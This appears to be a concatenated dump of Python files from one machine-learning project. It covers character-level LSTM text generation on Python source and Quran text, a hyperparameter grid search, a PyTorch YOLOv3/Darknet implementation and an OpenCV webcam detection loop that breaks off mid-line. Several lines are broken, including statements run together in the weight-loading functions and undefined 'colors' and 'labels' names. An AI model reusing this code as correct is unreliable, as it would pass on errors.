+# y[i, char2int[y_train[i]]] = 1 +# X = np.array([char2int[c] for c in text]) + +# print("X.shape:", X.shape) +# goal of X is (n_samples, sequence_length, n_chars) +# sentences = np.zeros(()) + + +# print("y.shape:", y.shape) +# building the model +# model = Sequential([ +# LSTM(128, input_shape=(sequence_length, n_unique_chars)), +# Dense(n_unique_chars, activation="softmax"), +# ]) +# building the model +model = Sequential([ + LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), + Dropout(0.3), + LSTM(256), + Dense(n_unique_chars, activation="softmax"), +]) + +model.load_weights("results/python-v2-2.48.h5") + +model.summary() +model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +if not os.path.isdir("results"): + os.mkdir("results") + +checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1) + +# model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint]) +model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint]) + + + + +import numpy as np + +def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps): + + chars_per_batch = batch_size * n_steps + n_batches = len(sentences) // chars_per_batch + while True: + for i in range(0, len(sentences), batch_size): + + X = np.zeros((batch_size, sequence_length, n_unique_chars)) + y = np.zeros((batch_size, n_unique_chars)) + + for i, sentence in enumerate(sentences[i: i+batch_size]): + for t, char in enumerate(sentence): + X[i, t, char2int[char]] = 1 + y[i, char2int[y_train[i]]] = 1 + + yield X, y + + + + +from pyarabic.araby import ALPHABETIC_ORDER + +with open("quran.txt", encoding="utf8") as f: + text = f.read() + +unique_chars = set(text) +print("unique chars:", unique_chars) +arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() } +to_be_removed = unique_chars - arabic_alpha +to_be_removed = to_be_removed - {'.', ' ', ''} +print(to_be_removed) +text = text.replace("", ".") +for char in to_be_removed: + text = text.replace(char, "") +text = text.replace(" ", " ") +text = text.replace(" \n", "") +text = text.replace("\n ", "") +with open("quran_cleaned.txt", "w", encoding="utf8") as f: + print(text, file=f) + + + + +from sklearn.model_selection import GridSearchCV +from keras.wrappers.scikit_learn import KerasClassifier +from utils import read_data, text_to_sequence, get_batches, get_data +from models import rnn_model +from keras.layers import LSTM + +import numpy as np + +text, int2char, char2int = read_data() + +batch_size = 256 +test_size = 0.2 + +n_steps = 200 +n_chars = len(text) +vocab_size = len(set(text)) +print("n_steps:", n_steps) +print("n_chars:", n_chars) +print("vocab_size:", vocab_size) +encoded = np.array(text_to_sequence(text)) +n_train = int(n_chars * (1-test_size)) +X_train = encoded[:n_train] +X_test = encoded[n_train:] + +X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1) + +print(X.shape) +print(Y.shape) + +# cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True +model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1, + batch_normalization=True, bidirectional=True) + + + +params = { + "units": [100, 128, 200, 256, 300] +} + +grid = GridSearchCV(estimator=model, param_grid=params) +grid_result = grid.fit(X, Y) +print(grid_result.best_estimator_) +print(grid_result.best_params_) +print(grid_result.best_score_) + + + + +from keras.models import Sequential +from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional + +def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True): + model = Sequential() + for i in range(num_layers): + if i == 0: + # first time, specify input_shape + # if bidirectional: + # model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) + # else: + model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + else: + if i == num_layers - 1: + return_sequences = False + else: + return_sequences = True + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=return_sequences))) + else: + model.add(cell(units, return_sequences=return_sequences)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + + model.add(Dense(output_dim, activation="softmax")) + + model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) + return model + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) +from models import rnn_model +from keras.layers import LSTM +from utils import sequence_to_text, get_data + +import numpy as np +import pickle + +char2int = pickle.load(open("results/char2int.pickle", "rb")) +int2char = { v:k for k, v in char2int.items() } +print(int2char) +n_steps = 500 + +def text_to_sequence(text): + global char2int + return [ char2int[c] for c in text ] + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + return int2char[np.argmax(logits, axis=0)] + # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)]) + +def generate_code(model, initial_text, n_chars=100): + new_chars = "" + for i in range(n_chars): + x = np.array(text_to_sequence(initial_text)) + x, _ = get_data(x, 64, n_steps, 1) + pred = model.predict(x)[0][0] + c = logits_to_text(pred) + new_chars += c + initial_text += c + return new_chars + + +model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) + +model.load_weights("results/rnn_3.5") +x = """x = np.array(text_to_sequence(x)) +x, _ = get_data(x, n_steps, 1) +print(x.shape) +print(x.shape) +print(model.predict_proba(x)) +print(model.predict_classes(x)) + +def pick_top_n(preds, vocab_size, top_n=5): + p = np.squeeze(preds) + p[np.argsort(p)[:-top_n]] = 0 + p = p / np.sum(p) + c = np.random.choice(vocab_size, 1, p=p)[0] + return c + +def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"): + samples = [c for c in prime] + + with train_chars.tf.Session() as sess: + saver.restore(sess, checkpoint) + new_state = sess.run(model.initial_state) + for c in prime: + x = np.zeros((1, 1)) + x[0,0] = train_chars.char2int[c] + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + # print("Preds:", preds) + c = pick_top_n(preds, len(train_chars.vocab)) + samples.append(train_chars.int2char[c]) + + for i in range(n_samples): + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_chars.vocab)) + char = train_chars.int2char[c] + samples.append(char) + # if i == n_samples - 1 and char != " " and char != ".": + if i == n_samples - 1 and char != " ": + # while char != "." and char != " ": + while char != " ": + x[0,0] = c + feed = {model.inputs: x, + model.keep_prob: 1., + model.initial_state: new_state} + preds, new_state = sess.run([model.prediction, model.final_state], + feed_dict=feed) + + c = pick_top_n(preds, len(train_chars.vocab)) + char = train_chars.int2char[c] + samples.append(cha +""" + +# print(x.shape) +# print(x.shape) +# pred = model.predict(x)[0][0] +# print(pred) +# print(logits_to_text(pred)) +# print(model.predict_classes(x)) +print(generate_code(model, x, n_chars=500)) + + + + +from models import rnn_model +from keras.layers import LSTM +from keras.callbacks import ModelCheckpoint +from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length + +import numpy as np +import os + +text, int2char, char2int = read_data(load=False) + +batch_size = 256 +test_size = 0.2 + +n_steps = 500 +n_chars = len(text) +vocab_size = len(set(text)) +print("n_steps:", n_steps) +print("n_chars:", n_chars) +print("vocab_size:", vocab_size) +encoded = np.array(text_to_sequence(text)) +n_train = int(n_chars * (1-test_size)) +X_train = encoded[:n_train] +X_test = encoded[n_train:] + +train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) +test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1) + +for i, t in enumerate(train): + if i == 2: + break +print(t[0]) +print(np.array(t[0]).shape) +# print(test.shape) + +# # DIM = 28 + +# model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True) +# model.summary() + +# model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"]) + +# if not os.path.isdir("results"): +# os.mkdir("results") + +# checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1) + +# train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size +# test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size + +# print("train_steps_per_epoch:", train_steps_per_epoch) +# print("test_steps_per_epoch:", test_steps_per_epoch) + +# model.load_weights("results/rnn_3.2") + +# model.fit_generator(train, +# epochs=30, +# validation_data=(test), +# steps_per_epoch=train_steps_per_epoch, +# validation_steps=test_steps_per_epoch, +# callbacks=[checkpointer], +# verbose=1) + +# model.save("results/rnn_final.model") + + + + +import numpy as np +import tqdm +import pickle +from keras.utils import to_categorical + +int2char, char2int = None, None + +def read_data(load=False): + global int2char + global char2int + + with open("E:\\datasets\\text\\my_python_code.py") as f: + text = f.read() + + unique_chars = set(text) + if not load: + int2char = { i: c for i, c in enumerate(unique_chars, start=1) } + char2int = { c: i for i, c in enumerate(unique_chars, start=1) } + pickle.dump(int2char, open("results/int2char.pickle", "wb")) + pickle.dump(char2int, open("results/char2int.pickle", "wb")) + else: + int2char = pickle.load(open("results/int2char.pickle", "rb")) + char2int = pickle.load(open("results/char2int.pickle", "rb")) + return text, int2char, char2int + + +def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + if output_format == "many": + while True: + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) + elif output_format == "one": + while True: + # X = np.zeros((arr.shape[1], n_steps)) + # y = np.zeros((arr.shape[1], 1)) + # for i in range(n_samples-n_steps): + # X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ]) + # price = df.Price.iloc[i + n_steps] + # y[i] = price.replace(",", "") if isinstance(price, str) else price + for n in range(arr.shape[1] - n_steps-1): + x = arr[:, n: n+n_steps] + y = arr[:, n+n_steps+1] + # print("y.shape:", y.shape) + y = to_categorical(y, num_classes=vocab_size) + # print("y.shape after categorical:", y.shape) + y = np.expand_dims(y, axis=0) + yield x.reshape(1, x.shape[0], x.shape[1]), y + + +def get_data(arr, batch_size, n_steps, vocab_size): + + # n_samples = len(arr) // n_seq + # X = np.zeros((n_seq, n_samples)) + # Y = np.zeros((n_seq, n_samples)) + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + + # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): + # x = arr[i:i+n_seq] + # y = arr[i+1:i+n_seq+1] + # if len(x) != n_seq or len(y) != n_seq: + # break + # X[:, index] = x + # Y[:, index] = y + X = np.zeros((batch_size, arr.shape[1])) + Y = np.zeros((batch_size, vocab_size)) + for n in range(arr.shape[1] - n_steps-1): + x = arr[:, n: n+n_steps] + y = arr[:, n+n_steps+1] + # print("y.shape:", y.shape) + y = to_categorical(y, num_classes=vocab_size) + # print("y.shape after categorical:", y.shape) + # y = np.expand_dims(y, axis=1) + X[:, n: n+n_steps] = x + Y[n] = y + # yield x.reshape(1, x.shape[0], x.shape[1]), y + return np.expand_dims(X, axis=1), Y + + # return n_samples + # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) + +def get_data_length(arr, n_seq, output_format="many"): + if output_format == "many": + return len(arr) // n_seq + elif output_format == "one": + return len(arr) - n_seq + + +def text_to_sequence(text): + global char2int + return [ char2int[c] for c in text ] + +def sequence_to_text(sequence): + global int2char + return ''.join([ int2char[i] for i in sequence ]) + + + + +import json +import os +import glob + +CUR_DIR = os.getcwd() +text = "" + +# for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")): +surat = [ f"surah_{i}.json" for i in range(1, 115) ] +for filename in surat: + filename = os.path.join(CUR_DIR, "data", "json", filename) + file = json.load(open(filename, encoding="utf8")) + content = file['verse'] + for verse_id, ayah in content.items(): + text += f"{ayah}." + +n_ayah = len(text.split(".")) +n_words = len(text.split(" ")) +n_chars = len(text) + +print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}") + +with open("quran.txt", "w", encoding="utf8") as quran_file: + print(text, file=quran_file) + + + + +import torch +import torch.nn as nn +import numpy as np + +# let us run this cell only if CUDA is available +# We will use torch.device objects to move tensors in and out of GPU +if torch.cuda.is_available(): + x = torch.randn(1) + device = torch.device("cuda") # a CUDA device object + y = torch.ones_like(x, device=device) # directly create a tensor on GPU + x = x.to(device) # or just use strings .to("cuda") + z = x + y + print(z) + print(z.to("cpu", torch.double)) # .to can also change dtype together! + + +class YoloLayer(nn.Module): + def __init__(self, anchor_mask=[], num_classes=0, anchors=[], num_anchors=1): + super(YoloLayer, self).__init__() + self.anchor_mask = anchor_mask + self.num_classes = num_classes + self.anchors = anchors + self.num_anchors = num_anchors + self.anchor_step = len(anchors)/num_anchors + self.coord_scale = 1 + self.noobject_scale = 1 + self.object_scale = 5 + self.class_scale = 1 + self.thresh = 0.6 + self.stride = 32 + self.seen = 0 + + def forward(self, output, nms_thresh): + self.thresh = nms_thresh + masked_anchors = [] + + for m in self.anchor_mask: + masked_anchors += self.anchors[m*self.anchor_step:(m+1)*self.anchor_step] + + masked_anchors = [anchor/self.stride for anchor in masked_anchors] + boxes = get_region_boxes(output.data, self.thresh, self.num_classes, masked_anchors, len(self.anchor_mask)) + + return boxes + + +class Upsample(nn.Module): + def __init__(self, stride=2): + super(Upsample, self).__init__() + self.stride = stride + def forward(self, x): + stride = self.stride + assert(x.data.dim() == 4) + B = x.data.size(0) + C = x.data.size(1) + H = x.data.size(2) + W = x.data.size(3) + ws = stride + hs = stride + x = x.view(B, C, H, 1, W, 1).expand(B, C, H, stride, W, stride).contiguous().view(B, C, H*stride, W*stride) + return x + + +#for route and shortcut +class EmptyModule(nn.Module): + def __init__(self): + super(EmptyModule, self).__init__() + + def forward(self, x): + return x + +# support route shortcut +class Darknet(nn.Module): + def __init__(self, cfgfile): + super(Darknet, self).__init__() + self.blocks = parse_cfg(cfgfile) + self.models = self.create_network(self.blocks) # merge conv, bn,leaky + self.loss = self.models[len(self.models)-1] + + self.width = int(self.blocks[0]['width']) + self.height = int(self.blocks[0]['height']) + + self.header = torch.IntTensor([0,0,0,0]) + self.seen = 0 + + def forward(self, x, nms_thresh): + ind = -2 + self.loss = None + outputs = dict() + out_boxes = [] + + for block in self.blocks: + ind = ind + 1 + if block['type'] == 'net': + continue + elif block['type'] in ['convolutional', 'upsample']: + x = self.models[ind](x) + outputs[ind] = x + elif block['type'] == 'route': + layers = block['layers'].split(',') + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + x = outputs[layers[0]] + outputs[ind] = x + elif len(layers) == 2: + x1 = outputs[layers[0]] + x2 = outputs[layers[1]] + x = torch.cat((x1,x2),1) + outputs[ind] = x + elif block['type'] == 'shortcut': + from_layer = int(block['from']) + activation = block['activation'] + from_layer = from_layer if from_layer > 0 else from_layer + ind + x1 = outputs[from_layer] + x2 = outputs[ind-1] + x = x1 + x2 + outputs[ind] = x + elif block['type'] == 'yolo': + boxes = self.models[ind](x, nms_thresh) + out_boxes.append(boxes) + else: + print('unknown type %s' % (block['type'])) + + return out_boxes + + + def print_network(self): + print_cfg(self.blocks) + + def create_network(self, blocks): + models = nn.ModuleList() + + prev_filters = 3 + out_filters =[] + prev_stride = 1 + out_strides = [] + conv_id = 0 + for block in blocks: + if block['type'] == 'net': + prev_filters = int(block['channels']) + continue + elif block['type'] == 'convolutional': + conv_id = conv_id + 1 + batch_normalize = int(block['batch_normalize']) + filters = int(block['filters']) + kernel_size = int(block['size']) + stride = int(block['stride']) + is_pad = int(block['pad']) + pad = (kernel_size-1)//2 if is_pad else 0 + activation = block['activation'] + model = nn.Sequential() + if batch_normalize: + model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad, bias=False)) + model.add_module('bn{0}'.format(conv_id), nn.BatchNorm2d(filters)) + else: + model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad)) + if activation == 'leaky': + model.add_module('leaky{0}'.format(conv_id), nn.LeakyReLU(0.1, inplace=True)) + prev_filters = filters + out_filters.append(prev_filters) + prev_stride = stride * prev_stride + out_strides.append(prev_stride) + models.append(model) + elif block['type'] == 'upsample': + stride = int(block['stride']) + out_filters.append(prev_filters) + prev_stride = prev_stride // stride + out_strides.append(prev_stride) + models.append(Upsample(stride)) + elif block['type'] == 'route': + layers = block['layers'].split(',') + ind = len(models) + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + prev_filters = out_filters[layers[0]] + prev_stride = out_strides[layers[0]] + elif len(layers) == 2: + assert(layers[0] == ind - 1) + prev_filters = out_filters[layers[0]] + out_filters[layers[1]] + prev_stride = out_strides[layers[0]] + out_filters.append(prev_filters) + out_strides.append(prev_stride) + models.append(EmptyModule()) + elif block['type'] == 'shortcut': + ind = len(models) + prev_filters = out_filters[ind-1] + out_filters.append(prev_filters) + prev_stride = out_strides[ind-1] + out_strides.append(prev_stride) + models.append(EmptyModule()) + elif block['type'] == 'yolo': + yolo_layer = YoloLayer() + anchors = block['anchors'].split(',') + anchor_mask = block['mask'].split(',') + yolo_layer.anchor_mask = [int(i) for i in anchor_mask] + yolo_layer.anchors = [float(i) for i in anchors] + yolo_layer.num_classes = int(block['classes']) + yolo_layer.num_anchors = int(block['num']) + yolo_layer.anchor_step = len(yolo_layer.anchors)//yolo_layer.num_anchors + yolo_layer.stride = prev_stride + out_filters.append(prev_filters) + out_strides.append(prev_stride) + models.append(yolo_layer) + else: + print('unknown type %s' % (block['type'])) + + return models + + def load_weights(self, weightfile): + print() + fp = open(weightfile, 'rb') + header = np.fromfile(fp, count=5, dtype=np.int32) + self.header = torch.from_numpy(header) + self.seen = self.header[3] + buf = np.fromfile(fp, dtype = np.float32) + fp.close() + + start = 0 + ind = -2 + counter = 3 + for block in self.blocks: + if start >= buf.size: + break + ind = ind + 1 + if block['type'] == 'net': + continue + elif block['type'] == 'convolutional': + model = self.models[ind] + batch_normalize = int(block['batch_normalize']) + if batch_normalize: + start = load_conv_bn(buf, start, model[0], model[1]) + else: + start = load_conv(buf, start, model[0]) + elif block['type'] == 'upsample': + pass + elif block['type'] == 'route': + pass + elif block['type'] == 'shortcut': + pass + elif block['type'] == 'yolo': + pass + else: + print('unknown type %s' % (block['type'])) + + percent_comp = (counter / len(self.blocks)) * 100 + + print('Loading weights. Please Wait...{:.2f}% Complete'.format(percent_comp), end = '\r', flush = True) + + counter += 1 + + + +def convert2cpu(gpu_matrix): + return torch.FloatTensor(gpu_matrix.size()).copy_(gpu_matrix) + + +def convert2cpu_long(gpu_matrix): + return torch.LongTensor(gpu_matrix.size()).copy_(gpu_matrix) + + +def get_region_boxes(output, conf_thresh, num_classes, anchors, num_anchors, only_objectness = 1, validation = False): + anchor_step = len(anchors)//num_anchors + if output.dim() == 3: + output = output.unsqueeze(0) + batch = output.size(0) + assert(output.size(1) == (5+num_classes)*num_anchors) + h = output.size(2) + w = output.size(3) + + all_boxes = [] + output = output.view(batch*num_anchors, 5+num_classes, h*w).transpose(0,1).contiguous().view(5+num_classes, batch*num_anchors*h*w) + + grid_x = torch.linspace(0, w-1, w).repeat(h,1).repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() + grid_y = torch.linspace(0, h-1, h).repeat(w,1).t().repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda() + xs = torch.sigmoid(output[0]) + grid_x + ys = torch.sigmoid(output[1]) + grid_y + + anchor_w = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([0])) + anchor_h = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([1])) + anchor_w = anchor_w.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() + anchor_h = anchor_h.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda() + ws = torch.exp(output[2]) * anchor_w + hs = torch.exp(output[3]) * anchor_h + + det_confs = torch.sigmoid(output[4]) + cls_confs = torch.nn.Softmax(dim=1)(output[5:5+num_classes].transpose(0,1)).detach() + cls_max_confs, cls_max_ids = torch.max(cls_confs, 1) + cls_max_confs = cls_max_confs.view(-1) + cls_max_ids = cls_max_ids.view(-1) + + + sz_hw = h*w + sz_hwa = sz_hw*num_anchors + det_confs = convert2cpu(det_confs) + cls_max_confs = convert2cpu(cls_max_confs) + cls_max_ids = convert2cpu_long(cls_max_ids) + xs = convert2cpu(xs) + ys = convert2cpu(ys) + ws = convert2cpu(ws) + hs = convert2cpu(hs) + if validation: + cls_confs = convert2cpu(cls_confs.view(-1, num_classes)) + + for b in range(batch): + boxes = [] + for cy in range(h): + for cx in range(w): + for i in range(num_anchors): + ind = b*sz_hwa + i*sz_hw + cy*w + cx + det_conf = det_confs[ind] + if only_objectness: + conf = det_confs[ind] + else: + conf = det_confs[ind] * cls_max_confs[ind] + + if conf > conf_thresh: + bcx = xs[ind] + bcy = ys[ind] + bw = ws[ind] + bh = hs[ind] + cls_max_conf = cls_max_confs[ind] + cls_max_id = cls_max_ids[ind] + box = [bcx/w, bcy/h, bw/w, bh/h, det_conf, cls_max_conf, cls_max_id] + if (not only_objectness) and validation: + for c in range(num_classes): + tmp_conf = cls_confs[ind][c] + if c != cls_max_id and det_confs[ind]*tmp_conf > conf_thresh: + box.append(tmp_conf) + box.append(c) + boxes.append(box) + all_boxes.append(boxes) + + return all_boxes + + +def parse_cfg(cfgfile): + blocks = [] + fp = open(cfgfile, 'r') + block = None + line = fp.readline() + while line != '': + line = line.rstrip() + if line == '' or line[0] == '#': + line = fp.readline() + continue + elif line[0] == '[': + if block: + blocks.append(block) + block = dict() + block['type'] = line.lstrip('[').rstrip(']') + # set default value + if block['type'] == 'convolutional': + block['batch_normalize'] = 0 + else: + key,value = line.split('=') + key = key.strip() + if key == 'type': + key = '_type' + value = value.strip() + block[key] = value + line = fp.readline() + + if block: + blocks.append(block) + fp.close() + return blocks + + +def print_cfg(blocks): + print('layer filters size input output') + prev_width = 416 + prev_height = 416 + prev_filters = 3 + out_filters =[] + out_widths =[] + out_heights =[] + ind = -2 + for block in blocks: + ind = ind + 1 + if block['type'] == 'net': + prev_width = int(block['width']) + prev_height = int(block['height']) + continue + elif block['type'] == 'convolutional': + filters = int(block['filters']) + kernel_size = int(block['size']) + stride = int(block['stride']) + is_pad = int(block['pad']) + pad = (kernel_size-1)//2 if is_pad else 0 + width = (prev_width + 2*pad - kernel_size)//stride + 1 + height = (prev_height + 2*pad - kernel_size)//stride + 1 + print('%5d %-6s %4d %d x %d / %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'conv', filters, kernel_size, kernel_size, stride, prev_width, prev_height, prev_filters, width, height, filters)) + prev_width = width + prev_height = height + prev_filters = filters + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'upsample': + stride = int(block['stride']) + filters = prev_filters + width = prev_width*stride + height = prev_height*stride + print('%5d %-6s * %d %3d x %3d x%4d -> %3d x %3d x%4d' % (ind, 'upsample', stride, prev_width, prev_height, prev_filters, width, height, filters)) + prev_width = width + prev_height = height + prev_filters = filters + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'route': + layers = block['layers'].split(',') + layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers] + if len(layers) == 1: + print('%5d %-6s %d' % (ind, 'route', layers[0])) + prev_width = out_widths[layers[0]] + prev_height = out_heights[layers[0]] + prev_filters = out_filters[layers[0]] + elif len(layers) == 2: + print('%5d %-6s %d %d' % (ind, 'route', layers[0], layers[1])) + prev_width = out_widths[layers[0]] + prev_height = out_heights[layers[0]] + assert(prev_width == out_widths[layers[1]]) + assert(prev_height == out_heights[layers[1]]) + prev_filters = out_filters[layers[0]] + out_filters[layers[1]] + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] in ['region', 'yolo']: + print('%5d %-6s' % (ind, 'detection')) + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + elif block['type'] == 'shortcut': + from_id = int(block['from']) + from_id = from_id if from_id > 0 else from_id+ind + print('%5d %-6s %d' % (ind, 'shortcut', from_id)) + prev_width = out_widths[from_id] + prev_height = out_heights[from_id] + prev_filters = out_filters[from_id] + out_widths.append(prev_width) + out_heights.append(prev_height) + out_filters.append(prev_filters) + else: + print('unknown type %s' % (block['type'])) + + +def load_conv(buf, start, conv_model): + num_w = conv_model.weight.numel() + num_b = conv_model.bias.numel() + conv_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b + conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w + return start + + +def load_conv_bn(buf, start, conv_model, bn_model): + num_w = conv_model.weight.numel() + num_b = bn_model.bias.numel() + bn_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b + bn_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b + bn_model.running_mean.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b + bn_model.running_var.copy_(torch.from_numpy(buf[start:start+num_b])) start = start + num_b + conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w + return start + + + + +import cv2 +import numpy as np + +import time + +CONFIDENCE = 0.5 +SCORE_THRESHOLD = 0.5 +IOU_THRESHOLD = 0.5 +config_path = "cfg/yolov3.cfg" +weights_path = "weights/yolov3.weights" +font_scale = 1 +thickness = 1 +LABELS = open("data/coco.names").read().strip().split("\n") +COLORS = np.random.randint(0, 255, size=(len(LABELS), 3), dtype="uint8") + +net = cv2.dnn.readNetFromDarknet(config_path, weights_path) + +ln = net.getLayerNames() +ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] + +cap = cv2.VideoCapture(0) + +while True: + _, image = cap.read() + + h, w = image.shape[:2] + blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) + net.setInput(blob) + start = time.perf_counter() + layer_outputs = net.forward(ln) + time_took = time.perf_counter() - start + print("Time took:", time_took) + boxes, confidences, class_ids = [], [], [] + + # loop over each of the layer outputs + for output in layer_outputs: + # loop over each of the object detections + for detection in output: + # extract the class id (label) and confidence (as a probability) of + # the current object detection + scores = detection[5:] + class_id = np.argmax(scores) + confidence = scores[class_id] + # discard weak predictions by ensuring the detected + # probability is greater than the minimum probability + if confidence > CONFIDENCE: + # scale the bounding box coordinates back relative to the + # size of the image, keeping in mind that YOLO actually + # returns the center (x, y)-coordinates of the bounding + # box followed by the boxes' width and height + box = detection[:4] * np.array([w, h, w, h]) + (centerX, centerY, width, height) = box.astype("int") + + # use the center (x, y)-coordinates to derive the top and + # and left corner of the bounding box + x = int(centerX - (width / 2)) + y = int(centerY - (height / 2)) + + # update our list of bounding box coordinates, confidences, + # and class IDs + boxes.append([x, y, int(width), int(height)]) + confidences.append(float(confidence)) + class_ids.append(class_id) + + # perform the non maximum suppression given the scores defined before + idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) + + font_scale = 1 + thickness = 1 + + # ensure at least one detection exists + if len(idxs) > 0: + # loop over the indexes we are keeping + for i in idxs.flatten(): + # extract the bounding box coordinates + x, y = boxes[i][0], boxes[i][1] + w, h = boxes[i][2], boxes[i][3] + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_ids[i]]] + cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) + text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = x + text_offset_y = y - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 